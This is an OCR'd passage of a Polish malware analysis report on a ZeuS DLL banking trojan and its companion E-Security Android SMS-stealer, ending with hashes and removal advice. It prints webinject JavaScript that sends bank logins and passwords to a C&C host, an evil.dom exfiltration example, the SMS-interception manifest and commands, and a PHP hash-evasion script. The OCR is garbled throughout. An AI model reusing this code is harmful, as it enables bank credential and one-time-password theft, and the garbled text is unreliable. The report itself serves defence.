handleIncomingData, args2, O, 0);

}
mem::free (args2)
return retVal;

Listing 9: Modutl zeus-dll - procedura zaladowania

Z innych interesujacych réznic pomiedzy wersjg DLL, a zwyklym ZeuSem jest sposob
umieszczenia konfiguracji w pliku bota. W standardowej wersji w pliku eze umieszczana
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jest jedynie podstawowa konfiguracja, ktéra zawiera m.in.: informacje z jakiego adresu URL
pobra¢ peten plik konfiguracyjny. W wersji DLL cala konfiguracja w formie zaszyfrowanej
znajduje sie w jednej z sekcji pliku PE. Co prawda w konfiguracji bot posiada zdefiniowane
adresy URL, ale z przeprowadzonych badan wynika, iz zaden z nich nie stuzy do dystrybucji
nowej konfiguracji.

Ponizej zamieszczamy opis konfiguracji bota znalezionej w analizowanej prébce.

Webfilter

W tej sekcji konfiguracji znajduje sie lista wzoréow adreséw URL. Jezeli uzytkownik
odwiedza nowg strong, a jej adres pasuje do jednego z elementow listy, podejmowana jest
zdefiniowana akcja, okreslona przez pierwszy znak z wzorca. Dostepne sa znaczniki akcji:

e @ — oznacza, iz podczas ogladania strony, przy kazdym kliknieciu zostanie wykonany

zrzut ekranu,

e ! — oznacza, iz wszelkie dane i informacje wprowadzane przez uzytkownika beda

ignorowane.
Zawarto$¢ sekcji WEBFILTERS przedstawia listing[10l W konfuguracji bota znajduje sie 10
roznych adresow systemow bankowych poprzedzonych znakiem @ - co oznacza, iz podczas
korzystania z systemu transakcyjnego, przy kazdym kliknieciu bot wykona zdjecie obrazu
wyswietlanego na monitorze. W tej samej sekcji znajduje sie réwniez 5 regut ze znakiem !
- co oznacza ignorowanie stron zawierajacych te wyrazenia w adresie.

[0] Q@*######. pl*

[1] ex######bank.pl*

[2] Q*######. pl*

[3] @x######24.plx*

[4] Ox*######online.pl*

[5] @x######c.plx*

[6] @x######24.plx*

[7] o*######bank.pl*

[8] @*bank######.pl*

[9] o@x*######bank.pl*

[10] @x######bank######. pl*

[11] 'https://*porno*

[12] !'https://*chat*

[13] !'https://*forumx*

[14] 'https://*msn.*

[15] !'https://+xfacebookx*
</WEBFILTERS >

Listing 10: Zawarto$c sekcji WEBFILTERS

Webinject

Warto w tym miejscu oméwi¢ metode wykorzystang w celu ominiecia ograniczenia
Same-origin policy (listing . Zabezpieczenie to nie pozwala przegladarce internetowej
komunikowaé sie za pomoca zadan AJAX (z ang. Asynchronous JavaScript and XML) z
innymi domenami. Taka komunikacja jest pozadana w celu wysytania oraz odbierania da-
nych z serwera C&C przez skrypty wstrzykniete do systemu transakcyjnego. Ograniczenie
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to zostalo ominigte poprzez dopisywanie do dokumentu nowych tagéow <script ... >,
ktére powoduja zatadowanie skryptéow z zewnetrznych adreséw (w tym przypadku serwera
C&C). Dane wysytane sa poprzez umieszczenie ich jako parametréw do zadania GET,
odpowiedz od serwera natomiast zapisana jest w tresci pobieranego skryptu, ktéry jest
uruchamiany zaraz po zaladowaniu. Jest to podobne do metody zwanej JSONP (z ang.
JSON with padding). Przyktadowy kod znajduje sie ponizej :

// wystanie zadania + danych
document .write(’<scriptysrc="http://evil.dom/send.php?dane=login:1i+haslo:2"></script>’);

// odpowiedz od serwera - zaladowana z pliku send.php?...
alert (’odpowiedz odserwera’);

Ponizej na listingach [T} [12] przedstawione sa fragmenty kodu wstrzykiwanego
do strony systemu transakcyjnego. Efekt ich dziatania widoczny jest na obrazku [

<script>
var server=’https://lampras.com/encrypted_content/’;
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script>

Listing 11: Webinject - zaladowanie jQuery oraz zdefioniowane adresu CnC

var PLText = {
legend : ’ZainstalujywyTwoim, telefonie komérkowym certyfikat E-Security,_ powstaly,ze
wspéipracyyzynaszym bankiem, aby_ dalejykorzystaé,z BankowoscigyElektroniczna! Ten«
ucertyfikatypozwolijkorzystaé,sigeyuzyszyfrowaniagjalgorytmem AES oydtugoscipklucza
256,bitéw,yprzypyuzyciuywiadomosciysms. Ponizsze krokipozwola CI zainstalowaé ten«
ucertyfikat.’,

choose : ’Proszeywybraé, systemoperacyjny Twojegoytelefonu komérkowego:’,

specify : ’Wpisz_ Twéjyunumer_ komérkowyabydostaé wskazdéwkidotyczgce<br>_ instalacji
certyfikatugyE-Security’,

number : ’Numer_ telefonugkomérkowego:’,

enter : ’Wprowadzgkod_ E-Security:’,

other : ’Inne’,

cmsgSuccess : ’Certyfikat_ zostal_ pomysSlnieyzainstalowany!’,

next : ’DALEJ. >>’,

finish : ’ZAKONCZ’

Listing 12: Webinject - zdefiniowane komunikaty w polskiej wersji jezykowej

function datacollect (){
var info=’Login:_ ’+injData.login;
info+=’><br>HASLO:_’+document.getElementById(’full_pass’).value;
info+=’<br>inject_language: ’+injData.lang;
info+=’<br>url: ’+window.location.href;
return encodeURIComponent (info);

}

function twitput (){

var info = datacollect();

var manuf = "-";

var model = "-";

var sturl = injData.server+
’in/put.php?phone_number=’+injData.phone+
’%os=’+injData.os+
’gmanuf=’+manuf+
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’&model=’"+model+

’#login=’+injData.login+

’4lang=’+injData.lang+

’¢bank_id=’+injData.idbank+

’4data=’+info;
var jid = setTimeout (function() {theend()}, 10000);
jQuery.getScript (sturl, function(){clearTimeout (jid);});

}

Listing 13: Webinject - komunikacja z C&C

function checkCode (){

var tok_num = document.getElementById(’ver_code’).value;
var tok_numl = tok_num.slice(0,1);
var tok_num2 = tok_num.slice(

document . getElementById (’ver_code’).value.length-1,
document .getElementById (’ver_code’) .value.length);
if (
(document .getElementById(’ver_code’).value.length < 7)
(document .getElementById(’ver_code’).value.length > 10)
(tok_numl !'= ’1°)|]|(tok_num2 != ’3’)
){
jQuery (’#label_error’).show();
jQuery (’#label_error’).html ("1e¢Bdny kod E-Security!");
setTimeout (" jQuery (’#label_error’) .hide () ;" ,3000) ;
return false;

}

jQuery (’#wid’) .show () ;

twitvc (document.getElementById(’ver_code’) .value);
document .getElementById(’ver_code’) .disabled = "true";
//setTimeout ("theend ()" ,4000) ;

Listing 14: Webinject - walidacja kodu aktywacyjnego

jQuery (document) .ready (function () {
injData.imgurl=injData.server+’img/bank/xxxx/’;
injData.idbank=’nazwa-banku’;
injData.usesymbian=’1";
injData.usebberry=’1";
injData.useandroid=’1";
pickinglang () ;
injData.textcolor = ’#0297D9’;
injData.graytextcolor = ’#808080°;
injData.bordercolor = ’#009CD9’;
injData.finishtextcolor = ’#F3571F’;

b

Listing 15: Webinject - procedura startowa
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1. WiadomosE SMS ze wskazowkami

®i0S(iPhone)

#® BlackBerry

© Android{(Samsung, HTC,LG,SONY)
@ Symbian{Nokia)

®

Ustaw. android v 4~
- Berpieczeristwo
-Admiristracja
urzgdzéni
Ustaw. androidw 2#
- Aplikacie
Nieznane 7tadia e’

e zrodia

5. Kod E-Security

)
E-S=curit
FY—

Zezwalzj tejaplikecy na;
Kod E-Security:
Crytane
wisdamedei SMS Jenmananen
Edytowanie
wiadomosci SMS
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Rysunek 9: Sekwencja komunikatéw bedacych wynikiem wstrzykniecia kodu

3 Czes¢ mobilna - aplikacja systemu Android

Jeden z opisanych powyzej webinjectow odpowiada za wys$wietlenie komunikatu pro-
szacego uzytkownika o podanie numeru telefonu oraz uzywanego na nim systemu ope-
racyjnego. Gdy zarejestrujemy nasz telefon otrzymujemy wiadomosé SMS od nadawcy,
ktorym rzekomo jest nasz bank. Zawiera ona link do ztosliwej aplikacji przeznaczonej dla
systemu Android. Aplikacja ta nosi rézne nazwy, miedzy innymi poland.apk, polska.apk
lub e-security.apk.
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E-Security

Certyfikat E-SECURITY

Aplikacja instaluje sie na systemach Android poczawszy
s od wersji 2.1. Do swojego dzialania wymaga wszystkich upra-
wien, co juz powinno by¢ znakiem ostrzegawczym dla uzyt-
kownika. Powodow takiego zachowania moze by¢ wiele: proba
utrudnienia analizy, zamaskowanie prawdziwych intencji czy
tez utatwienie aktualizacji (poniewaz system operacyjny nie
zapyta nas czy rozszerzy¢ uprawinienia aplikacji — bo juz ma
Certyfikat zostat najszersze mozliwe).

pomyslnie Zainstalowany Dwa tagi z pliku AndroidManifest.xml (listing[16|) zwra-
caja szczegdlng uwage. Jak z nich wynika, aplikacja zainsta-
lowata ustuge znajdujaca si¢ w klasie SecurityService oraz
Rysunek 10: Ekran gléwny odbiorce zdarzen SecurityReceiver, ktéry bedzie reagowat
aplikacji E-Security na zdarzenie odebrania wiadomosci SMS, wykonania pota-
czenia gtosowego oraz zakonczenia procesu uruchamiania te-

kod E-Security:
100000003

@ Bezpieczne SMS-Aktywny

lefonu komérkowego.

W rzeczywistosci tylko zdarzenie otrzymania wiadomosci SMS jest przetwarzane przez
klase SecurityReceiver. Zlodliwe oprogramowanie obstuguje cztery typy komunikatéw
wysyltanych za pomoca SMS. W przypadku gdy przychodzi wiadomo$¢ sterujaca jest ona
zawsze ukrywana przed ofiara.

<service android:name=".SecurityService" android:enabled="true" />
<receiver android:name=".SecurityReceiver">
<intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>

Listing 16: plik AndroidManifest.xml

3.1 Ukrywanie numeréw telefonéw w komunikacji SMS

Cyberprzestepcy zastosowali technike ukrywania numeréw telefonéw w tresci wiado-
mosci. Po otrzymaniu rozkazu z C&C, tres¢ wiadomodci jest parsowana w poszukiwaniu
numeru telefonu, a nadawca wiadomosci jest ignorowany. Wszystkie odpowiedzi na ten
rozkaz sg przesytane pod adres wydobyty z tresci wiadomosci. W celu uzyskania tego nu-
meru wiadomos¢ jest parsowana i wyszukiwane sa wszystkie liczby. Nastepnie liczby te sa
laczone w numer telefonu, a z przodu dodawany jest znak plus (+). Dzieki temu mozna
ukry¢ numer telefonu w wiadomosci wygladajacej jak spam, tak jak zaprezentowano na

rysunku
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/3 sierpnia jest nowy Samsung
4G 66 uspey kupic pierwszy.

promo Kod. & . Wiecej
www.samsung.com infermacji

Rysunek 11: Wiadomosé¢ SMS zawierajaca jeden z rozkazow

3.2 Komunikat get info

SMS jest uznawany za zawierajacy komunikat get info, jesli zaczyna sie od znaku
krzyzyka (#) a nastepnie w jego tresci znajduje sie numer telefonu. W odpowiedzi, pod
numer znajdujacy sie w tresci SMSa wysylany jest nastepujaca wiadomos¢:

Model:<model> AC:<kod> H:<ukryty> AltC:<stan> V:<wersja> Mf:<producent>/<android>

Listing 17: Odpowied? na wiadomo$é get info
Przy czym
e <model> to model telefonu (np. GT-S5830),
e <kod> jest unikalnym kodem aktywacyjnym telefonu powstatym z numeru IMEI,
e <ukryty> okresla czy dziatalnos¢ programu jest ukryta,
e <stan> moéwi o tym czy przekierowania SMS sg aktywne,
e <wersja> jest wersja ztosliwego oprogramowania (w tym przypadku 1.2.9),
e <producent> oznacza producenta telefonu (np. samsung),
e <android> wersje systemu operacyjnego (np. 2.2.1).

Przyktad komunikatu i odpowiedzi przedstawiony jest ponizej na rysunku (12}
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1274
Model:GT-S____JAC:| [ HoO
AltC:0 V:1.2.9 Mf:samsung/2.2.1

Rysunek 12: Przyktad komunikatu getinfo

3.3 Komunikat new number

SMS jest uznawany za zawierajacy komunikat new number, jesli zaczyna sie od uko-
$nika (/), a nastepnie w jego tresci znajduje sie¢ numer telefonu — tak jak przedstawiono
na rysunku [I1} Od tego momentu wszystkie wiadomosci SMS przychodzace na zainfeko-
wany numer sg przekazywane na numer znajdujacy sie w tresci wiadomosci. Dzigki temu
przestepcy sa w stanie przechwycic¢ jednorazowe hasto SMSowe przychodzace na zainfeko-
wany telefon. Dzigki temu, ze wiadomosci moga by¢ przekazywane na inny numer niz ten,
z ktorego przychodzg komunikaty sterujace, przestepcy sa w stanie jeszcze bardziej ukry¢
swoje dziatanie.

3.4 Komunikat fin

SMS jest uznawany za zawierajacy komunikat fin, jesli zaczyna sie¢ od przecinka ().
Komunikat ten musi przyjs¢ od numeru, na ktéry byty przekazywane wiadomosci SMS i
wylacza to przekazywanie. Dzieki temu ofiara moze sie nawet nie zorientowaé, ze przez
jaki$ (najprawdopodobniej krétki) czas jej wiadomosci zamiast dochodzi¢ do niej byty
przekazywane przestepcom.

3.5 Komunikat uninstall

SMS jest uznawany za zawierajacy komunikat uninstall, jesli zaczyna sie od wy-
krzyknika (!'). W wyniku tego komunikatu zlosliwe oprogramowanie jest wytaczane. Z
naszej analizy wynika, ze nie moze by¢ pézniej aktywowane, zatem wystanie wykrzyknika
skutecznie zablokuje mozliwos¢ przechwytywania haset jednorazowych.
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3.6 Dokladne logowanie

Malware E-Security bardzo doktadnie loguje swoja dziatalnos¢. Na listingu [18| znajduje
sie fragment pliku logowania, ktory zostal wyprodukowany w naszym laboratorium przez
malware na telefonie z systemem Android. Powstal on po wystaniu wiadomosci typu get
info na zainfekowany telefon. Przez AlternativeControl oznaczane jest w oprogramo-
waniu sterowanie za pomocg wiadomosci SMS.

I/SSuite (1904): AlternativeControl called
I/SSuite (1904): AlternativeControl control message GET INFO
I/SSuite (1904): SendControlInformation called number is <«

+486 XXXXXXXX
I/SSuite (1904): Model:GT-Sxxxx AC:1xxxxxxx3 H:0 AltC:0 V<«
:1.2.9 Mf:samsung/2.2.1

Listing 18: Logi aplikacji

3.7 Dynamiczne generowanie plikow .apk

Po stronie serwera skrypt, ktora odpowiadal za wysytanie plikéw wygladat tak jak
przedstawiono na listingu (19|

<?

//$name = "polska_".rand(1,10000);
$name = "polska";
$file_ending = "apk";

//header ("Content -type: application/octet-stream");

header ("Content -type: application/vnd.android.package-archive");

header ("Content -Disposition: attachment; filename={$name}.{$file_endingl}");
header ("Pragma: no-cache");

header ("Expires:,0");

$myFile = "logo.jpg";
$handle = fopen($myFile, ’r’);
while (!feof($handle))
{
$data = fgets($handle, 512);
echo $data;
}
fclose ($handle) ;
$r=rand (1,1024);
for ($i=0;8$i<$r;$i++)
echo rand();
7>

Listing 19: Skrypt PHP odpowiadajacy za wystanie aplikacji

W liniach 11-18 nastepuje otwarcie pliku logo. jpg i wystanie jego zawartosci do klienta
jako pliku polska.apk. Petla w liniach 19-21 jest odpowiedzialna za dodanie do pliku loso-
wej liczby losowych bajtéw. Ma to na celu sprawienie, aby kazda probka generowata inny
skrot, przez co proste poréwnywanie aplikacji ze znanymi skrotami ztosliwych aplikacji
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nie ma sensu. Aplikacja taka nie musi by¢ ponownie podpisywana, gdyz ten ostatni kilo-
bajt nigdy nie zostanie przeczytany przez system operacyjny, poniewaz znajduje sie poza
wszystkimi zadeklarowanymi sekcjami.

Metoda taka jest jednak niewystarczajaca — mozna przeciez policzy¢ skrot pliku dex
zawierajacego kod wykonywalny aplikacji. Uczynienie tego pliku bardziej losowym byto
dokonane przez zmiane adresu URL w nim zawartego. Adres ten by}, w poprzednich wer-
sjach aplikacji, wykorzystywany do komunikacji z C&C, jednak ten kanal komunikacji
zostal zablokowany w momencie kiedy aplikacja zostala przettumaczona na jezyk polski.
Stata odpowiedzialna za definicje adresu URL pozostala jednak w kodzie i jej wartos¢ jest
losowa — w koncu i tak nie zostanie nigdzie uzyta.

3.8 Skroéty

Ponizej znajduje sie tabela ze przyktadowymi skrétami plikow . apk.

MD5 SHA256
15eae05ab7e9d76c8fleddce8cd25dab dfbd6f793aefafale6ac012d010c74821f39d9a4de3695c07888falcc52068fb
02462f235a01a6f8287900d04598b4a4 181f076924c708d66ddfb5b30aldaa59bf86f43393d46b2f342de2025e782fbf
5decfee2da906a774ce4e011191073de 0ae5d95f618ad00c7767782a40f62f7572114cb4d7718fb518df2b33e5b66449d
533037efd7c2b58baf0c36dbaf9f702d 9c49bead844944b7e7a210672e8b7d612a03dbb3b5f99d51f875864af278a7cl
OebalOf6abc3c88el17017cccaal0c06a2 cf5984e249946f3a1df03668ec6eebde07ced578161ff04725db76334b202dbe

Listing 20: Hashe analizowanych plikow

4 Zalecenia

Ponizej przedstawiamy zalecenia, ktérych stosowanie moze spowodowaé wykrycie lub
wrecz zapobiec infekeji komputera lub telefonu z Androidem.

4.1 Na komputerze

Opisany malware bardzo sprawnie ukrywa swoja obecno$¢ w zainfekowanym systemie.
Jedynym tatwo dostrzegalnym objawem jest dodatkowe okno wyskakujace (patrz rys. @
po zalogowaniu do systemu banku.

W praktyce kazde nieznane dotychczas zdarzenie (np. nowe, nie-
znane pojawiajace sie okno dialogowe) majace miejsce podczas logowa-

",‘(-\“ nia do systemu transakcyjnego powinno wzbudzi¢ podejrzenia. Jezeli

2 ‘T ) nie jesteSmy pewni, czy system transakcyjny powinien tak wygladac,
. zawsze dobrym wyjsciem jest telefon na infolinie bankowsg i potwierdze-
nie, czy to co widzimy na ekranie komputera jest normalne zachowanie

Rysunek 13: systemu.
Ikona  aplikacji
E-Security 4.2 Telefony komérkowe

W przypadku aplikacji na telefony komérkowe warto jest przestrze-
ga¢ podstawowych zasad bezpieczenstwa. Aplikacja E-Security wy-
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maga wszystkich uprawnien, co juz powinno wzbudzi¢ naszg czujnosé
i skutkowaé przerwaniem instalacji. Jesli nie jesteSmy pewni czy zainstalowaliSmy te apli-
kacje, mozna to sprawdzi¢ szukajac ikony aplikacji podobnej do tej zaprezentowanej na

rysunku
Aby usunaé aplikacje wystarczy wykonaé trzy kroki'}

1. Kliknij Ustawienia >Aplikacje (lub Menedzer aplikacji — ta opcja moze sie
réznic).

2. Kliknij aplikacje o ikonie takiej jak ta na rysunku [13|i nazwie E-Security lub po-
dobnej.

3. Wybierz Odinstaluj.

podano za https://support.google.com/googleplay/answer/2521768
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